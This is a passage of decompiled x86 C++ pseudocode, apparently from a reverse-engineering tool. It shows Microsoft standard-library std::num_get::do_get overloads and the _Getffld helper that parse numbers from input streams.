ebp@9 int v21; // edx@18 std::istreambuf_iterator > *v22; // eax@18 const char *_Ep; // [sp+4h] [bp-38h]@9 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v26; // [sp+2Ch] [bp-10h]@18 int v27; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v27 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = _Iosbase; v14 = v12; v27 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v15 = *(_DWORD *)&v13->___u1.baseclass_4.dummy[0]; if ( v15 && v15 < 0xFFFFFFFF ) *(_DWORD *)&v13->___u1.baseclass_4.dummy[0] = v15 - 1; v16 = ((*(_DWORD *)&v13->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v13; std::_Lockit::__Lockit(&thisa); if ( v16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v16)(v16, 1); } v17 = &_Ac[1]; if ( _Ac[0] != 45 ) v17 = _Ac; v18 = strtoul(v17, (char **)&_Ep, v14); v19 = std::istreambuf_iterator>::equal(&_First, &_Last); v20 = _State; if ( v19 ) *_State |= 1u; if ( _Ep == v17 || *_errno() || v18 > 0xFFFF ) { *v20 |= 2u; } else { if ( _Ac[0] == 45 ) v18 = -v18; *_Val = v18; } v21 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v21; __security_check_cookie(v26); return v22; } //----- (00571890) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // edi@1 int v12; // eax@1 std::ios_base *v13; // esi@1 int v14; // ebp@1 unsigned int v15; // eax@2 int v16; // esi@5 const char *v17; // edi@7 int v18; // esi@9 bool v19; // al@9 int *v20; // ebp@9 int v21; // edx@18 std::istreambuf_iterator > *v22; // eax@18 const char *_Ep; // [sp+4h] [bp-38h]@9 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v26; // [sp+2Ch] [bp-10h]@18 int v27; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v27 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = _Iosbase; v14 = v12; v27 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v15 = *(_DWORD *)&v13->___u1.baseclass_4.dummy[0]; if ( v15 && v15 < 0xFFFFFFFF ) *(_DWORD *)&v13->___u1.baseclass_4.dummy[0] = v15 - 1; v16 = ((*(_DWORD *)&v13->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v13; std::_Lockit::__Lockit(&thisa); if ( v16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v16)(v16, 1); } v17 = &_Ac[1]; if ( _Ac[0] != 45 ) v17 = _Ac; v18 = strtoul(v17, (char **)&_Ep, v14); v19 = std::istreambuf_iterator>::equal(&_First, &_Last); v20 = _State; if ( v19 ) *_State |= 1u; if ( _Ep == v17 || *_errno() || (unsigned int)v18 > 0xFFFFFFFF ) { *v20 |= 2u; } else { if ( _Ac[0] == 45 ) v18 = -v18; *_Val = v18; } v21 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v21; __security_check_cookie(v26); return v22; } //----- (005719E0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, int *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST1C_4@1 int v12; // eax@1 int v13; // eax@1 std::ios_base *v14; // esi@1 int v15; // edi@1 unsigned int v16; // eax@2 int v17; // esi@5 bool v18; // al@7 int *v19; // esi@7 int v20; // edx@13 std::istreambuf_iterator > *v21; // eax@13 void *_Ep; // [sp+4h] [bp-38h]@1 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v25; // [sp+2Ch] [bp-10h]@13 int v26; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v26 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = strtol(_Ac, (char **)&_Ep, v12); v14 = _Iosbase; v15 = v13; v26 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)&v14->___u1.baseclass_4.dummy[0]; if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)&v14->___u1.baseclass_4.dummy[0] = v16 - 1; v17 = ((*(_DWORD *)&v14->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v14; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } v18 = std::istreambuf_iterator>::equal(&_First, &_Last); v19 = _State; if ( v18 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v19 |= 2u; else *_Val = v15; v20 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v20; __security_check_cookie(v25); return v21; } //----- (00571B10) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST1C_4@1 int v12; // eax@1 unsigned int v13; // eax@1 std::ios_base *v14; // esi@1 unsigned int v15; // edi@1 unsigned int v16; // eax@2 int v17; // esi@5 bool v18; // al@7 int *v19; // esi@7 int v20; // edx@13 std::istreambuf_iterator > *v21; // eax@13 void *_Ep; // [sp+4h] [bp-38h]@1 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v25; // [sp+2Ch] [bp-10h]@13 int v26; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v26 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = strtoul(_Ac, (char **)&_Ep, v12); v14 = _Iosbase; v15 = v13; v26 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)&v14->___u1.baseclass_4.dummy[0]; if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)&v14->___u1.baseclass_4.dummy[0] = v16 - 1; v17 = ((*(_DWORD *)&v14->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v14; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } v18 = std::istreambuf_iterator>::equal(&_First, &_Last); v19 = _State; if ( v18 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v19 |= 2u; else *_Val = v15; v20 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v20; __security_check_cookie(v25); return v21; } //----- (00571C40) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, __int64 *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST1C_4@1 int v12; // eax@1 __int64 v13; // qax@1 unsigned __int64 v14; // qdi@1 int v15; // ebx@1 unsigned int v16; // eax@2 int v17; // esi@5 bool v18; // al@7 int *v19; // esi@7 __int64 *v20; // eax@11 int v21; // edx@13 std::istreambuf_iterator > *v22; // eax@13 void *_Ep; // [sp+4h] [bp-38h]@1 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v26; // [sp+2Ch] [bp-10h]@13 int v27; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v27 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = _strtoi64(_Ac, (char **)&_Ep, v12); v14 = __PAIR__((unsigned int)_Iosbase, (unsigned int)v13); v15 = HIDWORD(v13); v27 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(HIDWORD(v14) + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(HIDWORD(v14) + 4) = v16 - 1; v17 = ((*(_DWORD *)(HIDWORD(v14) + 4) != 0) - 1) & HIDWORD(v14); std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } v18 = std::istreambuf_iterator>::equal(&_First, &_Last); v19 = _State; if ( v18 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) { *v19 |= 2u; } else { v20 = _Val; *(_DWORD *)_Val = v14; *((_DWORD *)v20 + 1) = v15; } v21 = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v21; __security_check_cookie(v26); return v22; } //----- (00571D80) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int64 *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST1C_4@1 int v12; // eax@1 unsigned __int64 v13; // qax@1 unsigned __int64 v14; // qdi@1 int v15; // ebx@1 unsigned int v16; // eax@2 int v17; // esi@5 bool v18; // al@7 int *v19; // esi@7 unsigned __int64 *v20; // eax@11 int v21; // edx@13 std::istreambuf_iterator > *v22; // eax@13 void *_Ep; // [sp+4h] [bp-38h]@1 std::_Lockit thisa; // [sp+8h] [bp-34h]@2 char _Ac[32]; // [sp+Ch] [bp-30h]@1 unsigned int v26; // [sp+2Ch] [bp-10h]@13 int v27; // [sp+38h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v11 = v9->_Fmtfl; v27 = 0; v12 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, v11, v10); v13 = _strtoui64(_Ac, (char **)&_Ep, v12); v14 = __PAIR__((unsigned int)_Iosbase, (unsigned int)v13); v15 = HIDWORD(v13); v27 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(HIDWORD(v14) + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(HIDWORD(v14) + 4) = v16 - 1; v17 = ((*(_DWORD *)(HIDWORD(v14) + 4) != 0) - 1) & HIDWORD(v14); std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } v18 = std::istreambuf_iterator>::equal(&_First, &_Last); v19 = _State; if ( v18 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) { *v19 |= 2u; } else { v20 = _Val; *(_DWORD *)_Val = v14; *((_DWORD *)v20 + 1) = v15; } v21 = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v21; __security_check_cookie(v26); return v22; } //----- (00571EC0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, float *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // ecx@1 std::locale *v10; // eax@1 int v11; // eax@1 std::ios_base *v12; // esi@1 unsigned int v13; // eax@2 int v14; // esi@5 bool v15; // al@7 int *v16; // esi@7 int v17; // edx@13 std::istreambuf_iterator > *v18; // eax@13 void *_Ep; // [sp+4h] [bp-58h]@1 float _Ans; // [sp+8h] [bp-54h]@1 std::_Lockit thisa; // [sp+Ch] [bp-50h]@2 char _Ac[60]; // [sp+10h] [bp-4Ch]@1 unsigned int v23; // [sp+4Ch] [bp-10h]@13 int v24; // [sp+58h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v24 = 0; v11 = std::num_get>>::_Getffld( v7, _Ac, &_First, &_Last, v10); _Ans = _Stold(_Ac, (char **)&_Ep, v11); v12 = _Iosbase; v24 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)&v12->___u1.baseclass_4.dummy[0]; if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)&v12->___u1.baseclass_4.dummy[0] = v13 - 1; v14 = ((*(_DWORD *)&v12->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } v15 = std::istreambuf_iterator>::equal(&_First, &_Last); v16 = _State; if ( v15 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v16 |= 2u; else *_Val = _Ans; v17 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v17; __security_check_cookie(v23); return v18; } //----- (00571FF0) -------------------------------------------------------- int __cdecl std::num_get>>::_Getffld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, std::locale *_Loc) { std::numpunct *v5; // ebx@1 signed int v6; // ebp@11 char *v7; // eax@11 char *v8; // eax@14 int v9; // edi@17 char *v10; // eax@33 char *v11; // ecx@33 unsigned int v12; // ebx@39 void *v13; // ebp@39 char *v14; // eax@39 char *v15; // eax@50 char *v16; // edx@56 char v17; // cl@60 char *v18; // eax@62 char *v19; // eax@66 int v20; // edi@75 int v21; // edi@85 int v22; // ebx@132 signed int v23; // edi@132 char *v24; // ebx@151 char *v25; // eax@166 int result; // eax@170 char _Seendigit; // [sp+1h] [bp-61h]@11 char *_Ptr; // [sp+2h] [bp-60h]@1 char _Bad; // [sp+9h] [bp-59h]@1 int _Pten; // [sp+Ah] [bp-58h]@11 char _Kseparator; // [sp+11h] [bp-51h]@17 signed int _Significant; // [sp+12h] [bp-50h]@11 std::numpunct *_Punct_fac; // [sp+16h] [bp-4Ch]@1 std::basic_string,std::allocator > _Groups; // [sp+1Ah] [bp-48h]@17 std::basic_string,std::allocator > _Grouping; // [sp+36h] [bp-2Ch]@1 unsigned int cookie; // [sp+52h] [bp-10h]@170 int v37; // [sp+5Eh] [bp-4h]@1 v5 = std::use_facet>(_Loc); _Punct_fac = v5; std::numpunct::grouping(v5, &_Grouping); v37 = 0; _Ptr = _Ac; _Bad = 0; if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *_Ac = 43; LABEL_10: _Ptr = _Ac + 1; std::istreambuf_iterator>::_Inc(_First); goto LABEL_11; } if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 45 ) { *_Ac = 45; goto LABEL_10; } } LABEL_11: v6 = 0; _Seendigit = 0; _Significant = 0; _Pten = 0; v7 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v7 = (char *)&_Grouping._Bx; if ( *v7 == 127 ) goto LABEL_173; v8 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v8 = (char *)&_Grouping._Bx; if ( *v8 <= 0 ) { LABEL_173: if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_78; while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; v20 = _Significant; if ( _Significant < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 || _Significant ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); *_Ptr = _First->_Val; v20 = _Significant + 1; ++_Ptr; ++_Significant; } } else { ++_Pten; } _Seendigit = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_76; } } else { _Kseparator = ((int (__thiscall *)(std::numpunct *))v5->baseclass_0.vfptr[2].__vecDelDtor)(v5); _Groups._Myres = 15; *(_WORD *)&_Groups._Bx._Buf[0] = 0; _Groups._Mysize = 1; LOBYTE(v37) = 1; v9 = 0; if ( std::istreambuf_iterator>::equal(_First, _Last) ) { v13 = *(void **)&_Groups._Bx._Buf[0]; v12 = _Groups._Myres; } else { do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) goto LABEL_174; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) { LABEL_174: v12 = _Groups._Myres; v13 = *(void **)&_Groups._Bx._Buf[0]; v14 = *(char **)&_Groups._Bx._Buf[0]; if ( _Groups._Myres < 0x10 ) v14 = (char *)&_Groups._Bx; if ( !v14[v9] || !_Kseparator ) goto LABEL_49; if ( !_First->_Got ) { std::istreambuf_iterator>::_Peek(_First); v13 = *(void **)&_Groups._Bx._Buf[0]; v12 = _Groups._Myres; } if ( _First->_Val != _Kseparator ) goto LABEL_49; std::basic_string_std::allocator>::append(&_Groups, 1u, 0); v6 = _Significant; ++v9; } else { _Seendigit = 1; if ( v6 < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 || v6 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); *_Ptr = _First->_Val; ++v6; ++_Ptr; _Significant = v6; } } else { ++_Pten; } v10 = *(char **)&_Groups._Bx._Buf[0]; v11 = *(char **)&_Groups._Bx._Buf[0]; if ( _Groups._Myres < 0x10 ) v11 = (char *)&_Groups._Bx; if ( v11[v9] != 127 ) { if ( _Groups._Myres < 0x10 ) v10 = (char *)&_Groups._Bx; ++v10[v9]; } } std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Last) ); v13 = *(void **)&_Groups._Bx._Buf[0]; v12 = _Groups._Myres; LABEL_49: if ( v9 ) { v15 = (char *)v13; if ( v12 < 0x10 ) v15 = (char *)&_Groups._Bx; if ( v15[v9] <= 0 ) _Bad = 1; else ++v9; } } v16 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v16 = (char *)&_Grouping._Bx; if ( !_Bad ) { while ( v9 ) { v17 = *v16; if ( *v16 == 127 ) break; --v9; if ( v9 ) { v18 = (char *)v13; if ( v12 < 0x10 ) v18 = (char *)&_Groups._Bx; if ( v17 != v18[v9] ) goto LABEL_175; } if ( !v9 ) { v19 = (char *)v13; if ( v12 < 0x10 ) v19 = (char *)&_Groups._Bx; if ( v17 < *v19 ) { LABEL_175: _Bad = 1; break; } } if ( v16[1] > 0 ) ++v16; } } LOBYTE(v37) = 0; if ( v12 >= 0x10 ) operator delete(v13); } if ( _Seendigit ) { v20 = _Significant; LABEL_76: if ( !v20 ) *_Ptr++ = 48; } LABEL_78: if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == (unsigned __int8)((int (*)(void))_Punct_fac->baseclass_0.vfptr[1].__vecDelDtor)() ) { *_Ptr++ = *localeconv()->decimal_point; std::istreambuf_iterator>::_Inc(_First); } } if ( !_Significant ) { if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { v21 = _Pten; do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) break; --v21; _Seendigit = 1; std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Last) ); _Pten = v21; } if ( _Pten < 0 ) *_Ptr++ = 48; } if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; if ( _Significant < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); *_Ptr++ = _First->_Val; ++_Significant; } _Seendigit = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_125; } } if ( _Seendigit ) { LABEL_125: if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_164; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 101 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 69 ) goto LABEL_164; } *_Ptr = 101; v22 = (int)(_Ptr++ + 1); std::istreambuf_iterator>::_Inc(_First); _Seendigit = 0; v23 = 0; if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_142; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *(_BYTE *)v22 = 43; } else { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 45 ) goto LABEL_142; *(_BYTE *)v22 = 45; } _Ptr = (char *)(v22 + 1); std::istreambuf_iterator>::_Inc(_First); LABEL_142: if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) break; _Seendigit = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_149; } if ( !_Seendigit ) goto LABEL_150; LABEL_149: *_Ptr++ = 48; } LABEL_150: if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { v24 = _Ptr; do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; if ( v23 < 8 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); *v24++ = _First->_Val; ++v23; } _Seendigit = 1; std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Last) ); _Ptr = v24; } } LABEL_164: if ( !_Bad && _Seendigit ) v25 = _Ptr; else v25 = _Ac; *v25 = 0; if ( _Grouping._Myres >= 0x10 ) operator delete(*(void **)&_Grouping._Bx._Buf[0]); __security_check_cookie(cookie); return result; } //----- (005726E0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // ecx@1 std::locale *v10; // eax@1 int v11; // eax@1 std::ios_base *v12; // esi@1 unsigned int v13; // eax@2 int v14; // esi@5 bool v15; // al@7 int *v16; // esi@7 int v17; // edx@13 std::istreambuf_iterator > *v18; // eax@13 void *_Ep; // [sp+4h] [bp-5Ch]@1 std::_Lockit thisa; // [sp+8h] [bp-58h]@2 long double v21; // [sp+Ch] [bp-54h]@1 char _Ac[60]; // [sp+14h] [bp-4Ch]@1 unsigned int v23; // [sp+50h] [bp-10h]@13 int v24; // [sp+5Ch] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v24 = 0; v11 = std::num_get>>::_Getffld( v7, _Ac, &_First, &_Last, v10); v21 = _Stod(_Ac, (char **)&_Ep, v11); v12 = _Iosbase; v24 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)&v12->___u1.baseclass_4.dummy[0]; if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)&v12->___u1.baseclass_4.dummy[0] = v13 - 1; v14 = ((*(_DWORD *)&v12->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } v15 = std::istreambuf_iterator>::equal(&_First, &_Last); v16 = _State; if ( v15 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v16 |= 2u; else *(_QWORD *)_Val = *(_QWORD *)&v21; v17 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v17; __security_check_cookie(v23); return v18; } //----- (00572810) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // ecx@1 std::locale *v10; // eax@1 int v11; // eax@1 std::ios_base *v12; // esi@1 unsigned int v13; // eax@2 int v14; // esi@5 bool v15; // al@7 int *v16; // esi@7 int v17; // edx@13 std::istreambuf_iterator > *v18; // eax@13 void *_Ep; // [sp+4h] [bp-5Ch]@1 std::_Lockit thisa; // [sp+8h] [bp-58h]@2 long double v21; // [sp+Ch] [bp-54h]@1 char _Ac[60]; // [sp+14h] [bp-4Ch]@1 unsigned int v23; // [sp+50h] [bp-10h]@13 int v24; // [sp+5Ch] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v24 = 0; v11 = std::num_get>>::_Getffld( v7, _Ac, &_First, &_Last, v10); v21 = _Stold(_Ac, (char **)&_Ep, v11); v12 = _Iosbase; v24 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)&v12->___u1.baseclass_4.dummy[0]; if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)&v12->___u1.baseclass_4.dummy[0] = v13 - 1; v14 = ((*(_DWORD *)&v12->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } v15 = std::istreambuf_iterator>::equal(&_First, &_Last); v16 = _State; if ( v15 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v16 |= 2u; else *(_QWORD *)_Val = *(_QWORD *)&v21; v17 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v17; __security_check_cookie(v23); return v18; } //----- (00572940) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, void **_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // ecx@1 std::locale *v10; // eax@1 int v11; // eax@1 std::ios_base *v12; // esi@1 int v13; // edi@1 unsigned int v14; // eax@2 int v15; // esi@5 void *v16; // edi@7 bool v17; // al@7 int *v18; // esi@7 int v19; // edx@13 std::istreambuf_iterator > *v20; // eax@13 void *_Ep; // [sp+4h] [bp-40h]@7 std::_Lockit thisa; // [sp+8h] [bp-3Ch]@2 __int64 _Ans; // [sp+Ch] [bp-38h]@7 char _Ac[32]; // [sp+14h] [bp-30h]@1 unsigned int v25; // [sp+34h] [bp-10h]@13 int v26; // [sp+40h] [bp-4h]@1 v7 = this; v8 = _errno(); v9 = _Iosbase; *v8 = 0; v10 = 